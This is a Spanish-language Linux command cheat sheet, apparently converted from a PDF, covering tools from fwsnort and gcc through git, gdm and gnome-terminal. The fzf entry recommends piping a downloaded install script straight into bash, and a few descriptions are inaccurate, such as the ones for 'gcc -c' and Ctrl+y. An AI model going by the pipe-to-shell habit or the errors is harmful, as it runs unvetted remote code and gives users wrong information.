# fwlogwatch -v -n -N -b -t -e -z -w -o fwlogw.html
```

## fwsnort

Traduce las reglas de Snort en reglas de iptables equivalentes y genera un script de shell que implementa los comandos de iptables resultantes. La generación de scripts en modo de registro, los errores de análisis escritos en el archivo de registro de fwsnort y la verificación de políticas de iptables están habilitados de forma predeterminada sin tener que especificar ningún argumento de línea de comando.

```
# fwsnort
traducir las reglas de Snort
```

```
# fwsnort -6
Generar reglas de ip6tables para ataques a través de IPv6
```

```
# fwsnort --include-type ddos,backdoor
Generar reglas de iptables solo para ddos y backdoors
```

```
# fwsnort --snort-sid 2008475,2003268 (Genere reglas de iptables para los ID de Snort 2008475 y
2003268
de emergente-all.rules)
```

```
# fwsnort --restrict-intf eth0,eth1
indicar que solo inspeccione el tráfico eth0 y eth1
```

```
# fwsnort --ipt-sync --verbose
Generar reglas de iptables para Snort que estan permitidas por la política local de iptables y
escribir las de snort originales en el script de iptables como comentario
```

## fwupd-test

Proporciona un conjunto de pruebas instaladas que se pueden ejecutar para validar el demonio en un sistema de integración continua. Consta de varias aplicaciones que han de lanzarse especificando toda la ruta que se encuentran en /usr/libexec/installed-tests/fwupd.

```
# /usr/libexec/installed-tests/fwupd/acpi-dmar-self-test
```

```
# /usr/libexec/installed-tests/fwupd/linux-swap-self-test
```

## fzf

Buscador que se integra con muchas herramientas y que sirve para buscar con pocas letras entre muchas opciones: procesos, archivos, historial de comandos... Descarga e instalación [preferible a la de los repositorios de la distro]:

```
$ curl -o- https://raw.githubusercontent.com/junegunn/fzf/master/install | bash
```

```
$ fzf
lanza la aplicación
```

---

## G

---

### gawkbug

Es un script de shell para ayudar al usuario a redactar y enviar informes de errores relacionados con gawk en un formato estándar. gawkbug invoca el editor especificado por la variable de entorno EDITORS.

```
$ gawkbug
El usuario debe completar los campos correspondientes y salir del editor
```

```
$ gawkbug correo
envía por correo el informe completo a bug-gawk@gnu.org, o a la dirección de correo que se
especifique
```

Nota.- Si el informe no se puede enviar por correo, se guarda en el archivo dead.gawkbug en el directorio del usuario que invoca.

### gawk-doc

Información en inglés del comando gawk. Acceder a la misma con el navegador con la dirección:

```
file:///usr/share/doc/gawk-doc/gawkworkflow-html/index.html
```

### gcalcCmd

Calculadora.

```
$ gcalcCmd
Entra en el prompt y se teclea por ejemplo 5*4 y dará el resultado
```

### gcalcTool

Calculadora.

```
$ gcalcTool -s 5*4/2+5
```

### gcc

(GNU Compiler Collections). Compilador de lenguaje C y C++.

```
$ gcc source.c
compilará source.c y creará el archivo a.out de salida
```

```
$ gcc -c archivo.c
```

```
genera una biblioteca
```

```
$ gcc programa.c -o programa_compilado
crea el ejecutable
```

```
$ gcc -x c archivo
Especificando el lenguaje para compilar [c]
```

```
$ gcc source.c -W -o linux
Compilará mostrando advertencias y errores y creará la salida linux
```

Nota.-la ejecución de la salida será de forma clásica en linux: ./linux

## gconftool-2

[gconf-editor]. Configurador de todos los parámetros de gnome

```
$ gconftool-2 --dump / > gconf_backup.xml
realizar copia de seguridad de la configuración
```

```
$ gconftool-2 --load gconf_backup.xml /
restablecer la copia de seguridad
```

```
$ gconftool-2 --recursive-unset /apps/panel
recuperar los paneles originales
```

nota.- sustituyendo el /apps/panel por cualquier ruta del árbol de directorios [por ejemplo /] de gconf-editor pueden restaurarse sus valores originales

```
$ rm -rf .gconf/apps/panel
borra toda la configuración extra de los paneles
```

```
$ gconftool-2 shutdown && rm -rf ~/.gconf/apps/panel && pkill gnome-panel
volver a una configuración anterior de los paneles
```

Notas:

```
-t (tipo de datos a utilizar. Los valores son {int|bool|float|string|list|pair})
-s (entrada a modificar)
Los valores de type pueden ser:
```

lógicos [bool]. Cuando el parámetro puede ser verdadero [true] o falso [false]. P.e quitar papelera del escritorio:

```
$ gconftool-2 -t bool -s /apps/nautilus/desktop/trash_icon_visible false
```

Enteros (int). Cuando ha de especificarse un número. P.e. aumentar el numero de escritorios a 5:

```
$ gconftool-2 -t int -s /apps/metacity/general/num_workspaces 5
```

reales (float). Cuando el valor tiene el punto como separador decimal. p.e el contraste de cheese:

```
$ gconftool-2 -t float -s /apps/cheese/contrast 1.2
```

Cadenas (string). Cuando ha de especificarse un texto. P.e. cambiar el nombre de la carpeta de usuario:

```
$ gconftool-2 -t string -s /apps/nautilus/desktop/home_icon_name "Mi carpeta"
```

Lista de valores (list). En muchos casos va complementado con otra lista (--list-type) que admite los valores {int|bool|float|string}. p.e detectar codificación en gedit con determinadas opciones:

```
$ gconftool-2 -t list --list-type string -s /apps/gedit-2/preferences/encodings/auto_detected [UTF-8,CURRENT,ISO-8859-15,UTF-16]
```

Parejas de valores [pairs]. Indica parejas de valores de los tipos anteriores. No he encontrado ningún ejemplo



## gcp

Copiar archivos y directorios mostrando barra de progreso.

```
$ gcp archivo dir
Copiar un archivo en un directorio
```

```
$ gcp file1 file2 file3 dir
Copiar varios archivos en un directorio
```

```
$ gcp -r dir1 dir2
Copiar de forma recursiva
```

```
$ gcp -f -r dir1 dir2
Copiar forzando sobreescritura si ya existe el archivo
```

## gdb

Herramienta para depurar programas en C y C++

Necesitamos que el programa haya sido compilado con modo debug (parámetro `-g`) en gcc o g++

```
$ gdb /ruta/programa
Con esto abrimos la shell de GDB
```

Dentro de la Shell de GDB podemos ejecutar comandos

(gdb) run (ejecutara el programa sin argumentos)

(gdb) run < content.xml > test.txt (Con argumentos, ejemplo de o3totxt)

(gdb) break 10 (Decimos a GDB que queremos un punto de control en la línea 10 del código)

(gdb) print variable (También p. Nos printara el contenido de la variable)

(gdb) continue (Tambien c. Decimos que el programa continúe ejecutándose)

(gdb) next (También n. Ejecuta la siguiente línea de código)

(gdb) step (También s. Lo mismo que next pero si la siguiente línea es una función, va a dicha función y ejecuta línea a línea el código de esa función)

(gdb) [TECLA\_ENTER] (Repite el paso anterior)

(gdb) backtrace (Printa la traza inversa)

(gdb) help (ayuda del programa)

(gdb) quit (salimos del programa)

## gdebi

Instalador de paquetes .deb

```
# gdebi paquete.deb
```

## gdisk

Herramienta para particionar discos rígidos de cualquier tamaño con una tabla de particiones GPT de GUID (Globally Unique Identifier) imprescindible para los discos mayores de 2 TB. Para el caso de discos rígidos SSD, por defecto gdisk asegura que sus particiones estén correctamente alineadas [discos duros que no tienen 512 bytes por sectors]. El uso de particiones GPT, elimina la necesidad de basarse en particiones primarias, extendidas o lógicas propias del sistema MBR. GPT puede soportar un número casi ilimitado de particiones y tiene solamente el límite de la cantidad de espacio reservado para las entradas de las particiones en el disco GPT, por defecto gdisk tiene un límite 128 particiones.

```
# gdisk /dev/sda
```

Algunos comandos:

```
i (información de las particiones)
l (listar particiones)
m (volver al menú principal)
d (borrar partición)
n (crear nueva partición)
o (crear nueva tabla de particiones GUID)
t (cambiar tipo de partición)
c (cambiar de partición)
q (salir guardando los cambios)
? (mostar menú de opciones)
```

## gdm

Pantalla de login para entrar en el sistema

1.-

Para ocultar usuarios:

Aparecen en la pantalla de login los que tienen un ID 1000 o superior. Para conocer los ID:

```
# cat /etc/passwd | gawk -F: '{print $3, $1}' | sort -n
```

Para suprimirlos:

```
# nano /etc/gdm/custom.conf
```

Y el apartado greeter dejarlo:

```
[greeter]
```

```
Exclude=usuario_a_ocultar,boinc,yacy
```

2.-

Entrada automática y otros ajustes:

```
# gdmsetup
```

3.-

Cambiar fondo en la pantalla de login.

```
# nano /etc/gdm3/greeter.gsettings
```

Y modificando la línea "pictori-uri" para que apunte a la imagen deseada:

```
[org.gnome.desktop.background]
picture-uri='file:///path/a/fondo'
picture-options='zoom'
Una vez modificado, aplicar los cambios con:
```

```
# dpkg-reconfigure gdm3
```

## gedit

Editor de texto

```
$ gedit --list-encodings
```

Lista la codificación de caracteres

```
$ gedit --encoding UTF-8 archivo.txt
```

Abre el archivo mencionado con la codificación especificada

Atajos

Ctrl+c (Copiar)

Ctrl+s (Guarda documento)

Ctrl+v (Pegar)

Ctrl+x (Cortar)

Ctrl+w (Cerrar ventana activa)

Ctrl+Mayús+flecha (seleccionar texto a derecha o izquierda)

## gelemental

Muestra la tabla periódica de los elementos químicos.

## gem

[rubygems]. Nombre que reciben los módulos en ruby.

```
$ gem install rake
```

Instalar. "Rake" en este caso

```
$ gem install rake --remote
```

Instalar desde un servidor remoto

```
$ gem list --local
```

Muestra las gemas instaladas

```
$ gem list R
```

Lista las gemas cuyo nombre empieza por "R"

```
$ gem search rake
```

Buscar una gema

```
$ gem search --both mysql
```

Busca entre las gemas locales o remotas las que contengan "mysql"

```
$ gem search --remote mysql
```

Busca entre las gemas remotas las que contengan "mysql"

```
$ gem help
```

Información de todas las gemas

```
$ gem help push
```

Muestra información sobre un comando. "push" en este caso

```
$ gem content rake
```

lo que instalo una gema en el sistema

```
$ gem uninstall rake
```

Desinstalar "rake"

```
$ gem environment
```

Información sobre rubygems

```
$ gem update
```

Actualizar todas las gemas del sistema

## gemsets

Conjunto de gemas que definimos para una determinada versión de Ruby [ver] y que están aislados entre ellos. O sea, si tenemos dos proyectos y cada uno con una versión distinta, no tienen conflicto entre ellos. Por tanto, lo más recomendable es definir un gemset para cada proyecto en el que estemos trabajando. Ver rvm.

## genius

Calculadora.

```
$ genius
Entra en el prompt. Su uso en el clásico: 60*2, 100/5... exit para salir

$ genius exec=50/2
```

## geoiplookup

[geoip-bin geoip-database-contrib]. Localiación geográfica de una ip.

```
$ geoiplookup IP

# geoip-database-contrib_update
actualizar la BD [/usr/share/GeoIP/]
```

## geoipupdate

Actualiza las bases de datos GeoIP2 y GeoIP Legacy para clientes de MaxMind. El programa se conecta al servidor de actualización MaxMind GeoIP para buscar nuevas bases de datos. Si hay una nueva base de datos disponible, el programa la descargará e instalará.

```
# geoipupdate
```

## geolooc

[weboob (Ver)]. Geolocalizar direcciones ip. Precisa módulo ipinfodb activado (ver weboob)

```
$ geolooc 8.8.8.8

id: 8.8.8.8@ipinfodb
city: MOUNTAIN VIEW
region: CALIFORNIA
zipcode: NA
country: US
lt: 37.405992
lg: -122.078515
host: google-public-dns-a.google.com
tld: com
```

## get-iab

[arp-scan]. Recupera el archivo IAB de Ethernet del sitio web IEEE [<https://standards.ieee.org/>] y lo guarda en el formato utilizado por arp-scan. El archivo IAB contiene todos los IAB (bloques de direcciones individuales) que se han registrado con IEEE.

```
# get-iab -v

# get-iab -f iab.txt
que escriba el resultado en el archivo especificado. Por defecto en ieee-iab.txt
```

## getkeycodes

Muestras las tablas de asignación scancode y keycode del núcleo.

```
$ getkeycodes
```

## get-oui

[arp-scan]. Recupera el archivo OUI de Ethernet del sitio web IEEE [<http://standards.ieee.org>] y lo guarda en el formato utilizado por arp-scan. El archivo OUI contiene todos los OUI ( identificadores únicos de la organización) que se han registrado con IEEE.

```
# get-oui -v
```

```
# get-oui -f oui.txt
```

```
que escriba el resultado en el archivo especificado. Por defecto en ieee-oui.txt
```

## getcap

Buscar archivos con capabilities y que son las funcionalidades que pueden asignarse a un ejecutable y que muchas veces pueden otorgar permisos demasiado altos durante la ejecución de dicho programa. Con "man capabilities" obtendremos un listado de las capabilities implementadas y las operaciones o comportamientos que permite cada una. [entrada relacionada con setcap]

```
$ getcap -r / 2>/dev/null
```

```
de forma recursiva
```

```
$ getcap -v /usr/bin/ping
```

```
permite mostrar las capabilities otorgadas
```

## getconf

Consulta las variables de configuración del sistema.

```
$ getconf -a
```

```
Muestra el listado
```

```
$ getconf LONG_BIT
```

```
Informa sobre si se trata de un equipo de 32 o 64 bits
```

## getenforce

Comprobar el estado de selinux.

```
# getenforce
```

Estados posibles

enforcing [impositivo] (Política de seguridad activa)

permissive [permisivo] (Registra los eventos pero no impone la política)

disabled [inhabilitado] (Desactivado)

```
# nano /etc/selinux/config
```

```
# This file controls the state of SELinux on the system.
# SELINUX= can take one of these three values:
# enforcing - SELinux security policy is enforced.
# permissive - SELinux prints warnings instead of enforcing.
# disabled - No SELinux policy is loaded.
SELINUX=permissive
# SELINUXTYPE= can take one of these two values:
# default - equivalent to the old strict and targeted policies
# mls      - Multi-Level Security (for military and educational use)
# src      - Custom policy built from source
SELINUXTYPE=default
# SETLOCALDEFS= Check local definition changes
SETLOCALDEFS=0
```

## getent

Obtiene entradas de la base de datos administrativa (ahosts, passwd, group, hosts, services, protocols, networks, aliases y rpc)

```
$ getent passwd
lista los usuarios creados en el sistema
```

```
$ getent group users
Ver los usuarios del grupo users
```

```
$ getent services 22
Muestra el servicio que corre por el puerto especificado. Si no se especifica puerto los lista todos
```

## getfacl

Muestra la lista de control de acceso de archivos o directorios.

```
$ getfacl /var/www
Muestra propietario, grupo y permisos
```

```
$ getfacl -c /var/www
Sólo muestra los permisos
```

```
$ getfacl -R /var/www
De forma recursiva en todos los archivos y subdirectorios
```

## gethostip

[syslinux-utils]. Convierte una dirección IP a varios formatos.

```
$ gethostip -d google.es
muestra la ip del host
```

```
$ gethostip google.es
muestra nombre de host, la IP en formato decimal y con formato hexadecimal
```

```
$ gethostip -x google.es
sólo con formato hexadecimal
```

```
$ gethostip -f google.es
Genera la dirección IP en todos los formatos admitidos
```

## getopt

se utiliza para analizar las opciones en líneas de comando para facilitar su análisis por parte de los procedimientos del shell y para comprobar si las opciones son válidas. Por ejemplo, si tiene un script que acepta las opciones -a, -b y -c, getopt permite combinarlas como -abc, -bca o -bac, etc.

## getpcaps

Muestra las capacidades en los procesos indicados por el valor pid indicado. Un pid 0 muestra las capacidades del propio proceso que está ejecutando getpcaps.

```
$ getpcaps --verbose 1247
del PID mencionado
```

Otra forma de ver las capacidades de un proceso:

```
$ cat /proc/1247/status | grep Cap
```

```
$ capsh --decode=00000000a80425fb
para decodificar el número hexadecimal de la salida anterior en CapInh
```

Nota.- Cada cláusula consta de una lista de nombres de capacidades separados por comas o la palabra "all" [especifica todas las capacidades], seguida de una lista de acciones. Una lista de acciones consta de una secuencia de pares de indicadores de operador. Los operadores legales son: '=', '+' y '-'. Los flags son: 'e', 'i' y 'p' [Effective, Inheritable y Permitted, Efectivo, Heredable y Permitido]. all=p" significa reducir todas las capacidades en los conjuntos Effective y Inheritable pero aumentar todas las capacidades Permitted; o "cap\_fowner=ep" significa aumentar la capacidad de anulación de propiedad de archivos Effective y Permitted mientras se reduce la capacidad Inheritable. Podemos profundizar en cada capacidad para comprender su significado y función:

cap\_chown: permite que el proceso cambie la propiedad de los archivos

cap\_dac\_override: permite que el proceso omita los controles de acceso discrecionales [DAC], lo que le permite acceder a archivos incluso si las comprobaciones de permisos estándar denegarían el acceso.

cap\_audit\_write: permite que el proceso escriba registros de auditoría para monitorear y rastrear la actividad del sistema

cap\_setfcap: permite que el proceso establezca capacidades de archivos, que son controles de acceso adicionales más allá de los permisos tradicionales.

+i : significa las capacidades heredables que se pueden pasar a procesos secundarios

En el caso de que el operador principal sea '=' o "all=" y no se proporcione una lista de capacidades, se supone que la lista de acciones se refiere a 'todas' las capacidades.

## getsebool

Permite listar políticas y determinar si están activas o inactivas en SELinux, implementación de seguridad para GNU/Linux que provee una variedad de políticas de seguridad a través del uso de módulos de Seguridad en el núcleo de Linux. Ver setsebool

```
# getsebool -a
Lista todas las políticas, activa o inactivas
```

```
# getsebool -a | grep ftp
conocer que políticas que incluyan la cadena ftp están activas
```

Para el servicio de FTP las políticas serían:

```
allow_ftpd_anon_write (Permite a usuarios anónimos escribir en el servidor)
allow_ftpd_full_access (Permite lectura y escritura sobre los archivos del servidor)
allow_ftpd_use_cifs (Permite transferencias de datos desde CIFS)
allow_ftpd_use_nfs (Permite transferencias de datos desde NFS)
ftp_home_dir (Permite a usuarios locales acceder a sus directorios de inicio)
```

## gflags2man

Convierte páginas man en archivos de texto en /tmp.

```
$ gflags2man ls
Crearé el archivo ls.1 en /tmp
```

## gftp

Cliente para la transferencia de archivos. Logs y configuración en ~/.gftp/gftp.log y ~/.gftprc

```
$ gftp ssh2://USER:PASS@HOST:22/home/USER_REMOTO
Abre la interfaz gráfica
```

## gftp-text

Cliente ftp. Precisa que el servidor tenga corriendo ftp [vsftpd... ]

```
$ gftp-text ftp://usuario@host
Pedirá la contraseña y entrará en el prompt del servidor
```

Nota.- Una vez en el prompt:

```
ftp> help (Para saber los comando disponibles)
```

```
ftp> quit (Para salir)
```

## ghostscript

Intérprete del lenguaje PostScriptó y de archivos PDF. Incluye las aplicaciones: dvipdf, eps2eps, gs, gsbj, gsdj, gsdj500, gslj, gslp, gsnd, pdf2dsc, pdf2ps, pf2afm, pfbtopfa, pphs, printafm, ps2ascii, ps2epsi, ps2pdf, ps2pdf12, ps2pdf13, ps2pdf14, ps2pdfwr, ps2ps, ps2ps2, ps2txt y update-gsfontmap

## gimp

Procesador de imagenes.

Carpetas donde colocar herramientas suplementarias:

```
Brochas (.gbr) /usr/share/gimp/2.0/brushes/
```

```
Patrones (.pat) /usr/share/gimp/2.0/patterns
```

```
Paletas (.gpl) /usr/share/gimp/2.0/palettes
```

```
Degradados (.ggr) /usr/share/gimp/2.0/gradients
```

## git

[git-core]. Manual completo en español: <[http://www-cs-students.stanford.edu/~blynn/gitmagic/intl/es/book.html#\\_hosting\\_git\\_gratuito](http://www-cs-students.stanford.edu/~blynn/gitmagic/intl/es/book.html#_hosting_git_gratuito)>

Software de control de versiones. Una vez registrados en Github [<<http://github.com>>], crear un nuevo repositorio con el nombre escogido y github nos facilitará los datos de acceso [Al estilo: <https://github.com/templix/tractatus.git>].

Crear el repositorio local de un proyecto alojado en github:

```
$ mkdir tractatus (Crear el directorio local)
$ cd tractatus (Entrar en él)
$ git init (Inicializar git)
$ git config --global user.name "nombre_usuario" (Entrar datos del usuario)
$ git config --global user.mail mail@direccion.com (Entrar mail)
$ mv /home/usuario/tractatus.txt . (Mover el archivo al repositorio)
$ git add tractatus.txt (Añadir el fichero a git)
$ git commit -a -m 'Inicio del proyecto' (Realizar el primer commit [comentario con los cambios en el proyecto])
$ git remote add origin https://github.com/templix/tractatus.git (Decirle a nuestra copia local el repositorio remoto donde se alojará)
$ git push origin master (Enviar los cambios al servidor remoto)

Otros comandos:
```

```
$ git clone git@github.com:templix/tractatus.git
Clonar un repositorio por protocolo git
```

```
$ git clone https://github.com/templix/tractatus.git
Clonar un repositorio por protocolo https
```



## G

```
$ git clone ssh://usuario@host.com/home/templix/repositorio repositorio
Clonar por ssh un directorio remoto en local
```

```
$ git config -l
Comprobar todos los parámetros configurados
```

```
$ git config user.email
comrpobar el mail del usuario
```

```
$ git config remote.origin.url
Ver cual es el repositorio remoto
```

```
$ git log
Ver historial de commits
```

```
$ git status
Comprobar si se han efectuado cambios
```

```
$ git config --global credential.helper cache
guarda la contraseña en caché durante 15 min
```

```
$ git config --global credential.helper 'cache --timeout=3600'
guarda la contraseña durante una hora
```

```
$ git rm archivo
Eliminar archivo
```

```
$ git fetch origin
este comando junto con el siguiente elimina todos los cambios locales y pone la versión del
servidor
```

```
$ git reset --hard origin/master
```

```
$ git diff --color-words archivo1 archivo2
Mostrar las diferencias en color
```

```
$ git instaweb --httpd=webrick
Abre el proyecto con navegador en localhost:1234
```

```
$ git instaweb --httpd=webrick --stop
Cierra la visualización del proyecto con el navegador
```

```
$ git config --help
Mostrar ayuda de un comando
```

```
$ git log --pretty=oneline
Mostrar listado de push a uno por linea
```

```
$ git commit --amend
editar el último commit para modificarlo
```

1.-

Indicar a git archivos o directorios que quedemos excluir del control de versiones.

```
$ touch .gitignore
Crear el fichero en el directorio raiz del proyecto
```

Con el contenido que queremos excluir [Algunos ejemplos]:

```
*~
tmp/*
*.so
*.zip
Thumbs.db
Si el archivo .gitignore lo colocamos en el directorio $HOME afectará a todos los proyectos de git
. Para ello lanzar:
```

```
$ git config --global core.excludesfile ~/.gitignore
```

2.-

Descartar modificaciones.

## G

Si una vez realizadas modificaciones en un archivo, antes de lanzar el commit, queremos verlas y descartarlas:

```
$ git status
```

```
$ git diff
```

```
$ git checkout -- archivo
```

3.-

Imprimir todos los repositorios git de un usuario

```
$ curl -s https://api.github.com/users/USERNAME/repos?per_page=1000 |grep git_url |awk '{  
    print $2}' | sed 's/"\(.*\)",/\1/'
```

4.-

Cuando se formatea el disco y se instala nuevamente la distro y git produce un error porque los datos del usuario y la máquina desde la que se comunicaba han variado respecto de los que constaban:

```
$ git clone git@github.com:tem...  
clonar
```

```
$ git config --global --edit
```

```
$ git commit --amend --reset-author
```

5.-

Normalmente los datos del usuario se guardan en ~/.gitconfig con lo que pueden visualizarse con:

```
$ cat .gitconfig
```

## git-doc

Documentación en inglés de git. Acceder via navegador a:

```
file:///usr/share/doc/git-doc/gittutorial.html
```

## git-shell

Shell de inicio de sesión git pero restringido solo para acceso SSH. Permite la ejecución solo de los comandos Git pull/push, además el administrador puede incluir otros comandos que han de detallarse en un subdirectorio llamado git-shell-commands en el directorio del usuario.

## gksu

[gksudo]. Proporciona permisos para que un usuario autorizado pueda ejecutar cualquier programa, script o aplicación como usuario root. El nombre puede variar según distro o escritorio: kdesu en kde, beesu en Fedora...

```
$ gksu nautilus
```

```
$ gksudo nano /etc/resolv.conf
```

## glances

Monitorizar la actividad del sistema en local y modo cliente-servidor.

```
$ glances  
Monitoreo local
```

Modo cliente-servidor:

```
$ glances -s
```

## G

```
En el servidor
```

```
$ glances -t 3 -c 192.168.1.10
```

```
En el cliente y actualizando el registro cada 3 segundos [por defecto cada segundo]
```

Teclas de control:

```
h (Oculta / muestra la ayuda)
a (Muestra los procesos de forma automática)
c (Los muestra por consumo de CPU)
d (habilitar/deshabilitar estadísticas I/O en disco)
f (habilita/deshabilita las estadísticas del sistema de archivos)
l (Oculta / muestra logs)
m (Muestra los procesos por consumo de memoria)
n (Oculta / muestra el estado de los interfaces de red)
p (Muestra los procesos por orden alfabético)
w (Elimina los WARNING finalizados del archivo log)
l (intercambia entre las estadísticas globales de CPU y las estadísticas particulares por cada CORE)
q (Salir)
Código de los colores:
```

```
verde (correcto)
azul (cuidado)
magenta (Alerta)
rojo (crítico)
```

## glimpse

Aplicación [GLobal IMPLICIT SEarch] consistente en un sistema de indexación y consulta de UNIX que permite buscar rápidamente en un gran conjunto de archivos. Glimpse admite la mayoría de las opciones de `agrep`, incluida la coincidencia aproximada.

```
$ glimpse -F '*.sh$' palabra
encuentra "palabra" en todos los archivos .sh
```

```
$ glimpse -2 -F html palabra
todas las ocurrencias de "palabra" con dos errores en los archivos html en algún lugar de su nombre completo.
```

```
$ glimpse -l -F '\.c$' palabra
enumera los nombres de todos los archivos .c que contienen "palabra"
```

## glxinfo

Información sobre las bibliotecas gráficas.

```
$ glxinfo | grep rendering
"yes" indica que la tarjeta gráfica soporta aceleración 3D
```

```
$ glxgears
Lo mismo en modo gráfico. Los engranajes han de verse de forma decente
```

## gmail

Correo de google. Permite buscar en el propio correo por palabras clave:

```
From:usuario@correo.com (Muestra los recibidos de la dirección)
To:usuario@correo.com (Muestra los enviados a la dirección)
Subject:asunto(Busca correos relacionados con "asunto")
label:etiqueta (busca los clasificados con la etiqueta)
has:userlabels (lista los clasificados con la etiqueta creada por el usuario)
has:nouserlabels (lista los clasificados con etiquetas puestas por gmail)
has:attachment (buscar correos con adjuntos)
has:attachment ppt (Buscar los que contienen adjuntos con la extensión ppt)
```

```
filename:nombre (Busca los que tengan nombre)
lang:idioma (busca los escritos en un idioma concreto)
After/Before:AAAA/MM/DD (buscar los posteriores o anteriores a una fecha. Formato: año/mes/día)
/ (Coloca el cursor en la búsqueda)
? (Muestra los atajos de teclado)
```

## gmount

[google-docs-fs fuse]. Equivalente a mount pero para google docs. Ver tambien google gdrive.

```
$ gmount google_docs juan@gmail.com -d
sincronizar la carpeta google_docs con la cuenta y mostrando la salida. Pedirá contraseña
```

```
$ gumount google_docs
Desmontar la carpeta
```

## gmrn

lanzador de aplicaciones.

## gnome

Entorno de escritorio

```
# rm -rf .gnome .gnome2 .gconf .gconfd .metacity
Resetear la configuración
```

```
$ gnome-open archivo.odt
abrir un archivo con la aplicación asociada a ella por defecto
```

```
$ gnome-open http://web.com
lo mismo con una dirección web
```

Ajustes

1.-

Suprimir rastro de los documentos e imagenes abiertas (lugares -> Documentos recientes):

```
$ rm .recently-used.xbel
```

```
$ mkdir .recently-user.xbel
```

También:

```
$ nano .gtkrc-2.0
```

Si no está se crea. Añadir la linea:

```
gtk-recent-files-max-age=0
```

2.-

Acciones sobre gnome y paneles

```
# killall gnome-panel
Matar el proceso
```

```
# dpkg --purge --force-all gnome-panel gnome-panel-data
Desinstalar
```

```
# apt-get install gnome-panel gnome-panel-data
instalar el panel
```

## G

```
# apt-get install --install gnome-panel gnome-panel-data  
reinstalarlo
```

```
# /etc/init.d/gdm restart  
reiniciar gnome
```

```
# gnome-panel &  
lanzar la aplicación
```

```
# pkg-reconfigure xserver-xorg  
reconfigurar la seccion gráfica
```

```
# apt-get remove gnome-desktop  
desinstalar las X
```

```
# apt-get install gnome-desktop  
instalar las X
```

```
# pgrep -lf gnome-panel | awk '{if ($2=="gnome-panel") print $1}' | xargs kill -9  
reiniciar los paneles
```

3.-

Carpetas por defecto que aparecen en el directorio /home

```
$ cat .config/user-dirs.dirs | grep ^XDG
```

```
XDG_DESKTOP_DIR="$HOME/Escriptori"
```

```
XDG_DOWNLOAD_DIR="$HOME/Baixades"
```

```
XDG_TEMPLATES_DIR="$HOME/"
```

```
XDG_PUBLICSHARE_DIR="$HOME/Públic"
```

```
XDG_DOCUMENTS_DIR="$HOME/Documents"
```

```
XDG_MUSIC_DIR="$HOME/Música"
```

```
XDG_PICTURES_DIR="$HOME/Imatges"
```

```
XDG_VIDEOS_DIR="$HOME/Vídeos"
```

Para modificarlas editar el archivo: nano .config/user-dirs.dirs y, si por ejemplo, tenemos las imágenes en /media/sda5/imatges con su entrada en /etc/fstab Auto, dejamos la entrada correspondiente:

```
XDG_PICTURES_DIR="/media/sda5/imatges"
```

Atajos escritorio

```
Ctrl+o (Abre la carpeta personal o la del documento abierto)  
Ctrl+Alt+tecla de cursor (Cambia el espacio de trabajo)  
Ctrl+Alt+backspace (Reiniciar entorno gráfico si está activado)  
F1 (Muestra la Ayuda)  
F11 (Pantalla completa)  
Alt+Inicio (Abre la carpeta personal)  
Alt+ImprPant (Realiza una captura de la ventana actual)  
Alt+F1 (Abre el menú aplicaciones)  
Alt+F2 (Abre el cuadro lanzar aplicaciones)  
Alt+F4 (Cierra la ventana activa)  
Alt+F7 (Mueve ventana con las teclas de cursor. Para finalizar pulsar tecla)  
Alt+F8 (Cambia tamaño de ventana con teclas de cursor. finalizar pulsar tecla)  
Alt+F9 (Minimiza)  
Alt+F10 (Maximiza)  
Alt+Ctrl+Shift+teclas de cursor (Mueve la ventana activa a otra área de trabajo)
```

## gnome-keyring

Demonio para gestionar de manera segura las credenciales de acceso del usuario, como los nombre de usuario y las contraseñas. Usando algunos escritorios la consola puede mostrar el error:

WARNING: gnome-keyring:: couldn't connect to: /home/USER/.cache/keyring-slKHzb/pkcs11: El fichero o directorio no existe

Para resolverlo:

```
# nano /etc/xdg/autostart/gnome-keyring-pkcs11.desktop
```

Buscar la línea:

```
OnlyShowIn=GNOME;Unity;
```

Y añadir el escritorio usado:

```
OnlyShowIn=GNOME;Unity;LXDE;Xfce
```

Reiniciar

## gnome-screensaver-command

Herramienta de control del salvapantallas

```
$ gnome-screensaver-command -l
Bloqueo inmediato
```

Opciones

```
--exit (Salir de salvapantalla)
-q (Consulta el estado de la pantalla)
-t (Tiempo para que entre en acción)
-a (Activarlo)
-d (Desactivarlo)
```

## gnome-screenshot

Capturar la pantalla, una ventana o un área definida por el usuario y guardar la imagen instantánea en un archivo.

```
$ gnome-screenshot -B -w -t captura.png
sin bordes, de la terminal activa y con el nombre mencionado
```

```
$ gnome-screenshot -d 2 -f captura.png
después de pulsar intro, 2 segundos para la captura
```

```
$ gnome-screenshot -b -p -d 3 -f captura.png
con bordes, con el puntero, 3 segundos para la captura y guardada como captura.png
```

```
$ gnome-screenshot -a -f captura.png
el puntero se convierte en una cruz para marcar el area de la captura
```

## gnome-terminal

Emulador de terminal de gnome.

```
$ gnome-terminal --hide-menubar --geometry=200x70+0+0 -e "sh -c 'links2 http://google.es' "&
arrancar una terminal, sin menús, con unas medidas concretas y en ella, arrancar el navegador
```

Opciones:

```
--window-with-profile=perfil2 (especificar un perfil para arrancar)
--show-menubar (Mostrar los menús)
--maximize (maximizada)
--full-screen (a pantalla completa)
--zoom=x.x (factor de ampliación de la terminal [--zoom=1.0 medida normal])

atajos:
```

```
Ctrl + a (lleva el cursor al principio de la línea)
Ctrl + b (Retrocede un carácter)
Ctrl + c (mata lo que se está escribiendo y devuelve el prompt)
Ctrl + d (Sale de root y si está como usuario, cierra la terminal)
Ctrl + e (lleva el cursor al final de la línea)
Ctrl + f (adelanta un caracter)
Ctrl + k (Borra de la posición actual al final de la línea)
Ctrl + l (limpia la pantalla)
Ctrl + r (Buscar en el historial de comandos. Esc editar. Ctrl +g abortar Intro ejecutar)
Ctrl + t (Intercambiar las dos letras anteriores al cursor [pieran pierna])
Ctrl + u (Borra de la posición actual al principio de la línea)
Ctrl + w (borra del cursor al primer espacio hacia el principio de la línea)
Ctrl + y (Deshace la última acción)
Ctrl + Mayu + t (Abrir nueva pestaña)
Ctrl + Mayu + w (Cerrar pestaña)
Esc + d (Borra de la posición actual al final de la palabra)
Esc + b (Ir una palabra hacia atras)
Esc + f (Ir una palabra hacia adelante)
Esc + t (Intercambiar las dos palabras anteriores al cursor [sin tos tos sin])
Mayús+RePág (Hace scroll de la terminal hacia arriba)
Mayús+AvPág (Hace scroll de la terminal hacia abajo)

1.-
```

Cambiar las medidas por defecto de la terminal:

```
# nano /usr/share/vte/termcap/xterm
```

Buscar la línea:

```
co#80:it#8:li#24:\
```

Y modificar los parámetros co (columnas) y li (líneas) con las nuevas medidas: co#100:it#8:li#10:\

## gnuplot

Programa muy flexible para generar gráficas de funciones y datos.

```
$ gnuplot
